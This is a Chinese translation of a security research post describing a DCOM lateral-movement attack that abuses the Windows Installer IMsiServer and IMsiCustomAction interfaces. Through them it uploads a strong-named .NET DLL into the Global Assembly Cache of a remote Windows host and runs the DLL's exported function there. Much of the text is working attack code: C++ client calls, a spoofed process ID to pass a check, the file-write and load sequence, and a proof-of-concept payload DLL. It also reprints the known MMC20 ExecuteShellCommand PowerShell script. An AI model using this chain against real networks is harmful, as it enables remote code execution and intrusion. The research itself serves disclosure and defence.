新型 DCOM 横向移动攻击,忘记 PSEXEC:DCOM 上传并执行后门

科技   2024-12-12 12:54   广东  

执行摘要

本博客文章介绍了一种强大的新型 DCOM 横向移动攻击,该攻击允许将自定义 DLL 写入目标计算机,将其加载到服务中,并使用任意参数执行其功能。这种类似后门的攻击通过反转其内部结构来滥用 IMsiServer COM 接口。此过程在本博客中逐步描述。该研究还包括一个有效的 POC 工具,用于演示对最新 Windows 版本的攻击。 

术语 

通信与数据通信

组件对象模型 (COM) 是 Microsoft 的一项标准,用于创建可交互的二进制软件组件。DCOM(分布式 COM)远程协议通过提供创建、激活和管理远程计算机上的对象的功能,使用 RPC 在网络上扩展了 COM 标准。 

对象、类和接口

在 COM 中,对象是已编译代码的实例,它为系统的其余部分提供一些服务。COM 对象的功能取决于其 COM 类实现的接口。 

编译后的代码被定义为 COM 类,它由全局唯一的类 ID ( CLSID ) 标识,该 ID 将类与其在文件系统中的部署(DLL 或 EXE)关联起来。 

可以远程访问(使用 DCOM)的 COM 类通过另一个全局唯一标识符 (GUID) - AppID来标识。 

COM 接口可以看作是一个抽象类。它指定一个契约,其中包含实现类必须提供的一组方法。COM 组件之间的所有通信都通过接口进行,组件提供的所有服务都通过其接口公开,这些接口可以用全局唯一的接口 ID ( IID ) 表示。一个 COM 类可以实现多个 COM 接口,并且接口可以从其他接口继承。 

作为 C++ 类的 COM 接口

C++ 接口的实现是通过类来完成的。C++ 类实现为结构体,其第一个成员指向该类支持的成员函数数组。该数组称为虚拟表(简称 vtable)。 

图 1:COM 接口和 vtable

DCOM 研究历史

通过 DCOM 进行横向移动是网络安全领域众所周知的“事情”,可以追溯到 2017 年,当时Matt Nelson首次披露了滥用MMC20.Application::ExecuteShellCommand在远程系统上运行命令的情况。利用Matt 设计的研究流程,研究人员发现了更多在远程机器上暴露执行原语的 DCOM 对象,其中包括: 

  • ShellBrowserWindow显示ShellExecuteW、Navigate和Navigate2 

  • Excel.Application揭示ExecuteExcel4Macro、RegisterXLL 

  • Outlook.Application揭示CreateObject 

相同的研究过程甚至实现了自动化,似乎大多数 DCOM 攻击面都因此得以映射——随着时间的推移,发现的攻击越来越少。在这篇博文中,我解释了如何测试研究过程以发现新的 DCOM 横向移动攻击。

已知的研究DCOM的方法

寻找新的DCOM横向移动方法遵循以下步骤: 

  • 在计算机上搜索 AppID,查找具有默认启动和访问权限的条目 

  • James Forshaw的OleView .NET工具将这些数据和其他有用信息关联起来 

  • 根据上述条件找到的 AppID 表示具有本地管理员权限的用户可远程访问的 DCOM 对象 

  • 探索可疑对象,传统上是用 PowerShell,它可以轻松创建对象、显示接口方法和属性并调用它们 

  • 重复上述步骤,直到找到可以运行自定义代码的方法 

在这里我应用这些步骤来实现已知的MMC20.Application::ExecuteShellCommand横向移动攻击: 

  • 托管MMC20.Application类的AppID 7E0423CD-1119-0928-900C-E6D4A52A0715具有默认权限 

图 2:MMC 默认权限

  • 上面提到的 AppID 映射到 CLSID 49B2791A-B1AE-4C90-9B8E-E860BA07F889 

  • 在 PowerShell 中探索从所述 CLSID 创建的对象: 

PS C : \ > $com = [ Type ]:: GetTypeFromCLSID ( “49B2791A-B1AE-4C90-9B8E-E860BA07F889” )
PS C:\> $mmcApp = [System.Activator]::CreateInstance ($com)
PS C:\> Get-Member -InputObject $mmcApp
TypeName:System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}


NameMemberTypeDefinition
HelpMethodvoid Help ()
HideMethodvoid Hide ()
DocumentPropertyDocument Document () {get}
  • 对发现的属性重复查询,可以发现允许 RCE 的 ExecuteShellCommand方法

PS C : \ > Get-Member - InputObject $mmcApp.Document.ActiveView类型名称:System.__ComObject#{6efc2da2- b38c-457e-9abb-ed2d189b8c38}


NameMemberTypeDefinition
BackMethodvoid Back ()
CloseMethodvoid Close ()
ExecuteShellCommandMethodvoid ExecuteShellCommand (string, string, string, string)
  • 最后,我们创建一个DCOM会话并调用我们发现的方法来完成攻击。 

<# MMCExec.ps1 #>

$com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "TARGET.I.P.ADDR")

$mmcApp = [System.Activator]::CreateInstance($com)

$mmcApp.Document.ActiveView.ExecuteShellCommand("file.exe", "/c commandline", "c:\file\folder",$null, 0)

新的攻击查询

使用此方法,我开始寻找新的 DCOM 横向移动攻击。以下是我的发现: 

  • AppID 000C101C-0000-0000-C000-000000000046具有默认权限,OleView .NET 显示以下详细信息: 

  • 托管在 Windows Installer 服务上(msiexec.exe) 

  • 托管一个名为“ Msi install server ”的 COM 对象,其 CLSID 等于 AppID 

  • 该对象公开一个名为IMsiServer的接口,其 IID 等于 AppID 

  • 该类和接口在msi.dll中实现(从ProxyStubClsid32注册表项 指向)

图 3:Msi 安装服务器

图 4:Msi 安装服务器默认权限

  • 该对象的名称及其在安装程序服务中的位置引起了我的兴趣,因此我继续使用 PowerShell 查询其方法: 

PS C : \ > $com = [ Type ]:: GetTypeFromCLSID ( "000C101C-0000-0000-C000-000000000046" )
PS C :\> $obj = [System.Activator]::CreateInstance ($com)
PS C:\> Get-Member -InputObject $obj
TypeName: System.__ComObject



NameMemberTypeDefinition
CreateObjRefMethod

System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType)

EqualsMethodboot Equals (System.Object obj)
GetHashCodeMethodint GetHashCode()


结果描述了通用的 .NET 对象方法,“TypeName”字段未指向IMsiServer IID。这意味着 PowerShell 运行时无法查询有关IMsiServer对象的信息;我们无法通过这种方式搜索攻击。 

我们的MMC20.Application的成功示例和我们当前的IMsiServer的区别在于IDispatch接口,前者实现了该接口,而后者没有。  

图 5:MMC20.Application 与 Msi 安装服务器

调度

IDispatch是一个基本的 COM 接口,它允许脚本语言(VB、PowerShell)和高级语言(.NET)与实现它的 COM 对象进行交互,而无需事先了解。它通过公开描述和与实现对象交互的统一方法来实现这一点。这些方法包括: 

  • IDispatch::GetIDsOfNames将方法或属性的名称映射到名为 DISPID 的整数值。 

  • IDispatch::Invoke根据 DISPID 调用对象的方法之一。 


所有已知的 DCOM 横向移动攻击都是基于已记录的 IDispatch 接口构建的,允许通过 PowerShell 轻松交互。与 IDispatch 接口交互的便利性使安全社区对大部分可能的攻击视而不见。 

为了解决这个问题并进一步研究缺乏文档且不支持 IDispatch 的 IMsiServer ,我们需要设计一种不依赖于 PowerShell 的替代方法。

反转接口定义

要了解有关IMsiServer 的更多信息,我们必须检查包含接口定义的 DLL - msi.dll: 

  • 使用 IDA 并在 msi.dll 中搜索代表IMsiServer的 IID 的十六进制字节- 1C 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46我们找到一个名为IID_IMsiServer的符号。 

图6:IDA字节搜索

图 7:结果符号

  • 交叉引用IID_IMsiServer,我们发现CMsiServerProxy::QueryInterface ,它是客户端对IMsiServer接口的实现的一部分。 

  • 交叉引用CMsiServerProxy::QueryInterface可在 .rdata 部分中发现该接口的 vtable: 

图 8:CMsiServerProxy::`vftable' 

利用这些数据和一些额外的定义,我重新创建了 IMsiServer 接口: 

struct IMsiServer : IUnknown

{

    virtual iesEnum InstallFinalize( iesEnum iesState, void* riMessage, boolean fUserChangedDuringInstall) = 0;

    virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode, const wchar_t* szPath, boolean fAddToList, boolean fPatch) = 0;

    virtual boolean Reboot() = 0;

    virtual int DoInstall( ireEnum ireProductCode, const ICHAR* szProduct, const ICHAR* szAction,const ICHAR* szCommandLine, const ICHAR* szLogFile,int iLogMode, boolean fFlushEachLine, IMsiMessage* riMessage, iioEnum iioOptions , ULONG, HWND__*, IMsiRecord& ) = 0;

    virtual HRESULT IsServiceInstalling() = 0;

    virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode, const ICHAR* szUserName,const ICHAR* szCompany, const ICHAR* szProductID) = 0;

    virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry) = 0;

    virtual boolean CleanupTempPackages( IMsiMessage& riMessage, bool flag) = 0;

    virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType) = 0;

    virtual HRESULT SourceListAddSource( const ICHAR* szProductCode, const ICHAR* szUserName, isrcEnum isrcType,const ICHAR* szSource) = 0 ;

    virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode, const ICHAR* szUserName) = 0;

    virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext, const unsigned char* rgchCookie, const int cbCookie, IMsiCustomAction* piCustomAction, unsigned long* dwProcessId, IMsiRemoteAPI** piRemoteAPI, DWORD* dwPrivileges) = 0;

    virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext, const unsigned long dwProcessId, IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment, DWORD cchEnvironment, DWORD dwPrivileges, char* rgchCookie, int* cbCookie, IMsiCustomAction** piCustomAction, unsigned long* dwServerProcessId,DWORD64 unused1, DWORD64 unused2) = 0;

 [snip]

}

远程安装?

DoInstall函数立即成为执行横向移动的有力候选者——在远程计算机上安装 MSI。但是,检查CMsiConfigurationManager::DoInstall的服务器端实现后发现,远程操作是不可能的: 

// Simplified pseudo code

CMsiConfigurationManager::DoInstall([snip])

{

 [snip]

  if (!OpenMutexW(SYNCHRONIZE, 0, L"Global\\_MSIExecute"))

   return ERROR_INSTALL_FAILURE;

 [snip]

}

这段代码意味着,当调用IMsiServer::DoInstall的 DCOM 调用时,远程服务器将检查名为Global\\_MSIExecute的互斥锁是否存在。此互斥锁默认不打开,因此调用将失败。  

Msi.dll 通过我们的IMsiServer接口无法访问的函数创建此互斥锁,因此我们必须找到不同的函数来滥用IMsiServer。 

远程自定义操作

我认为第二个滥用的候选人是: 

HRESULT IMsiServer::CreateCustomActionServer(

    const icacCustomActionContext icacContext,

    const unsigned long dwProcessId,

    IMsiRemoteAPI* piRemoteAPI,

    const WCHAR* pvEnvironment,

    DWORD cchEnvironment,

    DWORD dwPrivileges,

    char* rgchCookie,

    int* cbCookie,

    IMsiCustomAction** piCustomAction,

    unsigned long* dwServerProcessId,

    bool unkFalse);

它创建输出 COM 对象 - IMsiCustomAction** piCustomAction,根据其名称,它可以在我的远程目标上调用“自定义操作”。 

逆向CMsiConfigurationManager::CreateCustomActionServer中的服务器端代码,我们发现它模拟 DCOM 客户端并以其身份创建子MSIEXEC.exe,该子进程托管结果IMsiCustomAction** piCustomAction 

在IMsiCustomAction上搜索msi.dll中的符号会显示其 IID: 

图 9:IID_IMsiCustomAction 的 IDA 符号

使用符号执行与发现IMsiServer相同的交叉引用,我们可以重新创建IMsiCustomAction的接口定义: 

IID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

// Interface is trimmed for simplicty

struct IMsiCustomAction : IUnknown

{

    virtual HRESULT PrepareDLLCustomAction(ushort const *,ushort const *,ushort const *,ulong,uchar,uchar,_GUID const *,_GUID const *,ulong *)=0;

    virtual HRESULT RunDLLCustomAction(ulong,ulong *) = 0;

    virtual HRESULT FinishDLLCustomAction(ulong) = 0;

    virtual HRESULT RunScriptAction(int,IDispatch *,ushort const *,ushort const *,ushort,int *,int *,char * *) = 0;

    [snip]

    virtual HRESULT URTAddAssemblyInstallComponent(ushort const*,ushort const*, ushort const*) = 0;

    virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**) = 0;

    virtual HRESULT URTProvideGlobalAssembly(ushort const*, ulong, ulong*) = 0;

    virtual HRESULT URTCommitAssemblies(ushort const*, int*, char**) = 0;

    virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**) = 0;

    virtual HRESULT URTGetAssemblyCacheItem(ushort const*, ushort const*, ulong, int*, char**) = 0;

    virtual HRESULT URTCreateAssemblyFileStream(ushort const*, int) = 0;

    virtual HRESULT URTWriteAssemblyBits(char *,ulong,ulong *) = 0;

    virtual HRESULT URTCommitAssemblyStream() = 0;

    [snip]

    virtual HRESULT LoadEmbeddedDLL(ushort const*, uchar) = 0;

    virtual HRESULT CallInitDLL(ulong,ushort const *,ulong *,ulong *) = 0;

    virtual HRESULT CallMessageDLL(UINT, ulong, ulong*) = 0;

    virtual HRESULT CallShutdownDLL(ulong*) = 0;

    virtual HRESULT UnloadEmbeddedDLL() = 0;

    [snip]

};

IMsiCustomAction有RunScriptAction和RunDLLCustomAction等名称,似乎就是我们的宝库。但在打开它之前,我们必须先通过 DCOM 调用IMsiServer::CreateCustomActionServer来创建它。让我们构建我们的攻击客户端: 

// Code stripped from remote connection and ole setupCOSERVERINFO coserverinfo = {};

coserverinfo.pwszName = REMOTE_ADDRESS;

coserverinfo.pAuthInfo = pAuthInfo_FOR_REMOTE_ADDRESS;

CLSID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

IID IID_IMsiServer = CLSID_MsiServer;

MULTI_QI qi ={};

qi.pIID = &IID_IMsiServer; // the interface we aim to get

HRESULT hr = CoCreateInstanceEx(CLSID_MsiServer, NULL, CLSCTX_REMOTE_SERVER, &coserverinfo, 1, &qi) ;

IMsiServer* pIMsiServerObj = qi.pItf;

此时,pIMsiServerObj指向我们的客户端IMsiServer接口。现在我们需要为IMsiServer::CreateCustomActionServer创建正确的参数 

值得注意的论点: 

  1. dwProcessId应包含客户端 PID,并在服务器端被视为本地 PID。如果我们提供真正的客户端 PID,服务器端将无法在远程目标上找到它,并且调用将失败。我们可以欺骗此检查并设置dwProcessId =4,指向始终存在的系统进程 

  2. PiRemoteAPI应该指向IMsiRemoteAPI实例,初始化起来最棘手。通过搜索 msi.dll 中的符号,我们可以得到该接口的 IID

图 10:IID_IMsiRemoteAPI 的 IDA 符号 

IID IID_IMsiRemoteApi = { 0x000c1033 , 0x0000 , 0x0000 , { 0xc0 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x46 } } ;

但是,由于CLSID_MSISERVER没有实现IID_IMsiRemoteApi,因此我们无法通过以下调用直接创建它: 

HRESULT hr = CoCreateInstance ( CLSID_MSISERVER , NULLCLSCTX_INPROC_SERVER , IID_IMsiRemoteApi ,& piRemoteAPI ) ;

发现实现 CLSID

注意:本节涵盖技术逆向工程过程。我们将演示如何正确调用IMsiServer::CreateCustomActionServer。如果您对详细内容不感兴趣,请直接跳至“安全操作”   。

要创建IMsiRemoteApi的实例,我们需要找到实现它的类的CLSID。我们首先在 msi.dll 中搜索名为CLSID_MsiRemoteApi的符号。但是,这次没有返回任何结果: 

图 11:搜索 CLSID_MsiRemoteApi 没有结果

我们尝试使用交叉引用 来追踪IID_IMsiRemoteApi在 msi.dll 中的创建位置:

  • 交叉引用IID_IMsiRemoteApi,我们发现CMsiRemoteAPI::QueryInterface ,它是IMsiRemoteApi接口 的一部分

  • 搜索CMsiRemoteAPI::QueryInterface会在 .rdata 部分中找到IMsiRemoteApi的 vtable,该表标有名为??_7CMsiRemoteAPI@@6B@ 的符号: 

图 12:CMsiRemoteAPI::`vftable' 

  • 搜索??_7CMsiRemoteAPI@@6B@会找到CMsiRemoteAPI::CMsiRemoteAPI,它是IMsiRemoteApi实例 的构造函数

  • 搜索构造函数会找到CreateMsiRemoteAPI,这是一个调用它的工厂方法 

  • 搜索工厂方法显示它是名为rgFactory的工厂方法数组中的第 9 个元素,位于 .rdata 部分: 

图 13:rgFactory 

  • 搜索rgFactory的用法表明它在CModuleFactory::CreateInstance中使用:  

图14:CModuleFactory::CreateInstance的逆向伪代码 

我们可以看到CModuleFactory::CreateInstance从索引处的rgFactory中提取一个方法并调用它创建一个对象并通过outObject返回它。 

如果在同一索引处,从rgCLSID提取的 GUID (代码片段中的绿线)等于输入参数_GUID *inCLSID, 就会发生这种情况。

rgCLSID是一个全局变量,指向 .rdata 部分中的 CLSID 数组

图 15:rgCLSID 截图 

该数组中的第 9 个元素将导致调用CreateMsiRemoteAPI ( rgFactory的第 9 个成员),它是 CLSID: 

CLSID CLSID_MsiRemoteApi = { 0x000c1035 , 0x0000 , 0x0000 , { 0xc0 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x46 } } ;

这意味着如果使用CLSID_MsiRemoteApi调用CModuleFactory::CreateInstance,它将创建我们所需的IMsiRemoteAPI* piRemoteAPI实例。 

我们现在剩下的任务是从客户端代码 调用CModuleFactory::CreateInstance 。

类工厂

虽然CModuleFactory::CreateInstance不是公共导出,但交叉引用它会指向CModuleFactory的 vtable: 

图 16:CModuleFactory 的 vtable

vtable 中的第一个方法是QueryInterface实现,这意味着CModuleFactory是一个接口实现。接下来的两个 Nullsubs 是IUnkown::AddRef和IUnkown::Release的空实现,接下来的两个方法是: 

  • CreateInstance(我们将其逆向) 

  • 锁服务器 

在MSDN中搜索这些方法会发现IClassFactory,这是一个接口,它定义了在实现 DLL 中创建 COM 对象的工厂设计模式。此接口的功能通过名为DllGetClassObject的方法访问,该方法由实现 DLL(包括 msi.dll)导出。

这就是我们调用msi.dll!DllGetClassObject来创建目标IMsiRemoteAPI* piRemoteAPI的方式: 

// code stripped from error handling

typedef HRESULT(*DllGetClassObjectFunc)(

    REFCLSID rclsid,

    REFIID riid,

    LPVOID* ppv

)
;

// we dont need the definition of IMsiRemoteApi if we just want to instantiate it

typedef IUnknown IMsiRemoteApi;

HMODULE hmsi = LoadLibraryA("msi.dll");

IClassFactory* pfact;

IUnknown* punkRemoteApi;

IMsiRemoteApi* piRemoteAPI;

DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject");

// creating the CLSID_MsiRemoteApi class

HRESULT hr = DllGetClassObject(CLSID_MsiRemoteApi, IID_IClassFactory, (PVOID*)&pfact);

// piRemoteAPI initilized to IMsiRemoteApi*

hr = pfact->CreateInstance(NULL, CLSID_MsiRemoteApi, (PVOID*)&punkMsiRemoteApi);

hr = punkMsiRemoteApi->QueryInterface(IID_IMsiRemoteApi, reinterpret_cast<void**>(piRemoteAPI));


我们现在可以调用IMsiServer::CreateCustomActionServer来创建目标IMsiCustomAction** piCustomAction实例:


IMsiRemoteAPI* pRemApi = // created above;

const int cookieSize = 16; // a constant size CreateCustomActionServer anticipates

icacCustomActionContext icacContext = icac64Impersonated; // an enum value

const unsigned long fakeRemoteClientPid = 4;

unsigned long outServerPid = 0;

IMsiCustomAction* pMsiAction = nullptr; // CreateCustomActionServer's output

int iRemoteAPICookieSize = cookieSize;

char rgchCookie[cookieSize];

WCHAR* pvEnvironment = GetEnvironmentStringsW();

DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);

HRESULT msiresult = pIMsiServerObj->CreateCustomActionServer(icacContext, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction,&outServerPid,0, 0);


担保行动

我们新创建的IMsiCustomAction* pMsiAction允许我们从远程 MSIEXEC.EXE 进程运行“自定义操作”,现在我们的重点是从IMsiCustomAction中找到一种可以执行代码的方法——为我们提供一种新的横向移动技术。  

正如我们之前所见,IMsiCustomAction包含几个有前途的函数名,如RunScriptAction和RunDLLCustomAction 

逆向这些函数表明,它们允许加载和运行我们喜欢的 DLL 导出内容或执行内存中的自定义脚本内容(VBS 或 JS)!听起来好得令人难以置信?确实如此。 

Windows 通过在启动这些函数时进行简单检查来阻止在远程 DCOM 上下文中调用此功能: 

if(RPCRT4::I_RpcBindingInqLocalClientPID(0, &OutLocalClientPid)&&
  
  OutLocalClientPid != RegisteredLocalClientPid)

{

return ERROR_ACCESS_DENIED;

}
事实证明,当客户端位于远程时(在 DCOM 会话期间),  I_RpcBindingInqLocalClientPID会失败,并且我们被阻止。
我们需要寻找不存在此安全检查的功能。
无担保负载原语 
我们现在将通过交叉引用I_RpcBindingInqLocalClientPID的用法并探索不使用它 的IMsiCustomAction函数来重点搜索不安全的IMsiCustomAction方法。
满足此标准的下一个函数是IMsiCustomAction::LoadEmbeddedDll(wchar_t const* dllPath, bool debug) ;。  
逆向该函数可知: 

1.LoadEmbeddedDLL在dllPath参数上调用Loadlibrary并保存其句柄。 

2.尝试解析来自dllPath的三个导出并保存它们的地址。 

  • 初始化嵌入式UI 

  • 关机嵌入式用户界面 

  • 嵌入式UIHandler 

3.LoadEmbeddedDLL不会因不存在的导出而失败 

测试证实我们在远程系统上的每个 DLL 上都有一个远程加载原语! 


// Loads any DLL path into the remote MSIEXEC.exe instance hosting pMsiAction


pMsiAction->LoadEmbeddedDLL(L"C:\Windows\System32\wininet.dll",false);

这足以进行横向移动吗?单凭这一点还不够。仅仅从目标系统的 HD 加载良性的预先存在的 DLL 并不能让我们控制 DLL 在加载时运行的代码。  

但是,如果我们可以远程将 DLL 写入机器并将其路径提供给LoadEmbeddedDLL,我们就会发现一次全面攻击。 

有些攻击在找到此类原语后会委托责任,并建议单独向具有 SMB 访问权限的机器写入有效负载。但是,这种类型的访问非常嘈杂,通常会被阻止。 

使用IMsiCustomAction我的目标是找到一个可以自给自足地写入远程机器 HD 的原语。 

远程写入原语

IMsiCustomAction接口中的函数名称组合使我相信远程写入原语是可能的: 

  • IMsiCustomAction::URTCreateAssemblyFileStream 

  • IMsiCustomAction::URTWriteAssemblyBits 

逆向分析IMsiCustomAction::URTCreateAssemblyFileStream发现,在它之前必须运行几个初始化函数。 

以下序列将允许我们创建文件流、写入并提交它:

1. 下面的函数将初始化调用下一个函数所需的数据

HRESULT IMsiCustomAction::URTAddAssemblyInstallComponent (

   wchar_t const*UserDefinedGuid1,

  wchar_t const*UserDefinedGuid2,

  wchar_t const*UserDefinedName);

2. 以下函数创建IAssemblyCacheItem*的内部实例,这是一个管理文件流的文档对象 

HRESULT IMsiCustomAction::URTGetAssemblyCacheItem (

   wchar_t const* UserDefinedGuid1,

  wchar_t const* UserDefinedGuid2,

  ulong zeroed,

  int* pInt,

  char** pStr);

3. 然后URTCreateAssemblyFileStream调用IAssemblyCacheItem::CreateStream并使用上面提供的参数创建IStream*的实例。未来文件的名称将是FileName。它将IStream*保存到内部变量中。 

HRESULT IMsiCustomAction::URTCreateAssemblyFileStream (
   wchar_t const* FileName,

  int Format);

4. 下面的函数调用IStream::Write将ulong cb中指定的字节数从const char* pv写入文件流,并返回pcbWritten中写入的字节数。 

HRESULT IMsiCustomAction::URTWriteAssemblyBits (

   const char* pv,

  ulong cb,ulong* pcbWritten);

5.最后,以下函数使用IStream::Commit将 Stream 内容提交到新文件。 

HRESULT IMsiCustomAction::URTCommitAssemblyStream ();

我们准备一个虚拟的payload.dll,并使用前面的函数序列将其上传到目标机器: 

* outc = nullptr;

int outi = 0;

LPCWSTR mocGuid1 = L"{13333337-1337-1337-1337-133333333337}";

LPCWSTR mocGuid2 = L"{13333338-1338-1338-1338-133333333338}";

LPCWSTR asmName = L"payload.dll";

LPCWSTR assmblyPath = L"c:\local\path\to\your\payload.dll";

hr = pMsiAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName);

hr = pMsiAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0,&outi ,&outc);

hr = pMsiAction->URTCreateAssemblyFileStream(assmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST);

HANDLE hAsm = CreateFileW(assmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

DWORD asmSize, sizeRead;

GetFileSize(hAsm, NULL);

char* content = new char[asmSize];

readStatus = ReadEntireFile(hAsm, asmSize, &sizeRead, content);

ulong written = 0;

hr = pMsiAction->URTWriteAssemblyBits(content, asmSize, &written);

hr = pMsiAction->URTCommitAssemblyStream();

整个序列成功;但是,我们不知道payload.dll被写入了哪里。 

在远程机器上搜索名为payload.dll的文件会显示其路径:  

图 17:在目标上搜索 payload.dll 文件 

重新运行我们的代码会在类似的路径中 生成payload.dll :

图 18:重新运行后搜索 payload.dll 

这些路径的格式是C:\assembly\tmp\[RANDOM_8_LETTERS]\payload.dll。由于无法预测RANDOM_8_LETTERS ,因此我们不能直接在该路径上 调用加载原语IMsiCustomAction::LoadEmbeddedDll 。

我们需要找到一种方法将payload.dll放在可预测的路径中,IMsiCustomAction再次将我们连接起来 

控制路径

我们逆向的下一个方法是IMsiCustomAction::URTCommitAssemblies,我们发现它在流上 使用记录的函数IAssemblyCacheItem::Commit :

此函数将 .NET 程序集安装到全局程序集缓存 (GAC) 中,位于C:\Windows\Microsoft.NET\assembly\GAC*内的可预测路径下。这使得使用IMsiCustomAction::URTCommitAssemblies成为我们的新目标。 

存储在 GAC 中的程序集必须用强名称来标识-使用公钥-私钥对创建的签名,以确保程序集的唯一性。 

考虑到这一点,我们的目标是成功使用URTCommitAssemblies并将我们的有效载荷植入可预测的路径中,我们将 payload.dll 更改为具有强名称的 .NET 程序集 DLL: 

// example x64 dummy POC for .NET payload.dll

// a strong name should be set for the dll in the VS compilation settings

namespace payload

{

    public class Class1

    {

        public static void DummyNotDLLMain()

        
{

        }

    }

}

我们更新代码以在新的有效载荷上使用IMsiCustomAction::URTCommitAssemblies并重新运行它: 

HRESULT URTCommitAssemblies(wchar_t const* UserDefinedGuid1, int* pInt, char** pStr);

int outIntCommit = 0;

char* outCharCommit = nullptr;

// mocGuid1 is the same GUID we created for invoking URTAddAssemblyInstallComponent

hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);

Payload.dll现已上传至: 

图 19:URTCommitAssemblies 之后将 payload.dll 上传到 GAC 文件夹

根据payload.dll的强名称详细信息分析此路径上的每个标记,我们得出已安装程序集的 GAC 路径结构(对 .NET 版本有效 => 4): 

C:\Windows\Microsoft.NET\assembly\GAC_[assembly_bitness]\[assembly_name]\v4.0_[assembly_version]__[public_key_token]\[assembly_name].dll

可以使用sigcheck.exe(Sysinternals)和sn.exe(.NET Framework 工具) 从强名称 DLL 获取这些详细信息

我们已经成功将程序集 DLL 安装到 GAC 中可预测的路径,并找出了路径结构。现在让我们将我们的努力融入攻击中: 

// resuming from our last code snippets

// our payload is the dummy .NET payload.dll

// URTCommitAssemblies commits payload.dll to the GAC

hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);


std::wstring payload_bitness = L"64"; // our payload is x64

std::wstring payload_version = L"1.0.0.0"; // sigcheck.exe -n payload.dll

std::wstring payload_assembly_name = L"payload";

std::wstring public_key_token = L"136e5fbf23bb401e"; // sn.exe -T payload.dll


// forging all elements to the GAC path

std::wstring payload_gac_path = std::format(L"C:\\Windows\\Microsoft.NET\\assembly\\GAC_{0}\\{1}\\v4.0_{2}__{3}\\{1}.dll", payload_bitness, payload_assembly_name, payload_version,public_key_token);

hr = pMsiAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0);

更新后的攻击代码成功运行,为了确认我们的有效载荷已加载到远程 MSIEXEC.exe,我们在 Windbg 中对其进行了破解并查询:

图 20:Windbg 确认 payload.dll 已从 GAC 加载

成功了!但我们还没有完成,因为 .NET 程序集在本机进程上没有“DllMain”功能,因此没有代码正在运行。有几种可能的解决方法,但我们的解决方案是向我们的 payload.dll 程序集添加导出。至于调用此导出,IMsiCustomAction再次为我们提供了帮助。 

运行 .NET 导出

正如我所提到的,IMsiCustomAction::LoadEmbeddedDLL在加载请求的 DLL 后尝试解析一些导出并保存结果。当使用结果的地址搜索代码时,我们发现了三种IMsiCustomAction方法,每种方法都从加载的 DLL 中调用相应的导出: 

  • IMsiCustomAction::CallInitDLL 调用 InitializeEmbeddedUI 

  • IMsiCustomAction::CallShutdownDLL调用 ShutdownEmbeddedUI 

  • IMsiCustomAction::CallMessageDLL调用EmbeddedUIHandler 

每种方法为相应的导出提供不同的参数,我们将使用提供最丰富参数集的 IMsiCustomAction::CallInitDLL :

HRESULT CallInitDLL(ulong intVar, PVOID pVar, ulong* pInt, ulong* pInitializeEmbeddedUIReturnCode);

// CallInitDLL calls InitializeEmbeddedUI with the following args:

DWORD InitializeEmbeddedUI(ulong intVar, PVOID pVar, ulong* pInt)

ulong intVar和PVOID pVar的组合让我们能够非常灵活地运行我们的有效载荷。例如,PVOID pVar可以指向我们的有效载荷将执行的 shellcode,而ulong intVar将是其大小。 

对于这个 POC,我们将在payload.dll中创建InitializeEmbeddedUI的简单实现,显示一个带有攻击者控制的内容的消息框。 

我们将使用“ .export ”IL 描述符将InitializeEmbeddedUI 从程序集导出到本机调用程序(msi.dll) 

现在我们可以展示payload.dll的最终POC: 

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

using RGiesecke.DllExport; // [DllExport] wraps ".export"

namespace payload

{

 public class Class1

 {

   [DllImport("wtsapi32.dll", SetLastError = true)]

   static extern bool WTSSendMessage(IntPtr hServer, [MarshalAs(UnmanagedType.I4)] int SessionId, String pTitle, [MarshalAs(UnmanagedType.U4)] int TitleLength, String pMessage, [MarshalAs(UnmanagedType.U4)] int MessageLength, [MarshalAs(UnmanagedType.U4)] int Style, [MarshalAs(UnmanagedType.U4)] int Timeout, [MarshalAs(UnmanagedType.U4)] out int pResponse, bool bWait);

   [DllExport]

   public static int InitializeEmbeddedUI(int messageSize,[MarshalAs(UnmanagedType.LPStr)] string attackerMessage, IntPtr outPtr)

   
{

    string title = "MSIEXEC - GAC backdoor installed";

    IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;

    // The POC will display a message to the first logged on user in the target

    int WTS_CURRENT_SESSION = 1;

    int resp = 1;

    // Using WTSSendMessage to create a messagebox form a service process at the users desktop

    WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, attackerMessage, messageSize, 0, 0, out resp, false);

    return 1337;

   }

  }
}

我们的 DCOM 上传和执行攻击的最后一行: 

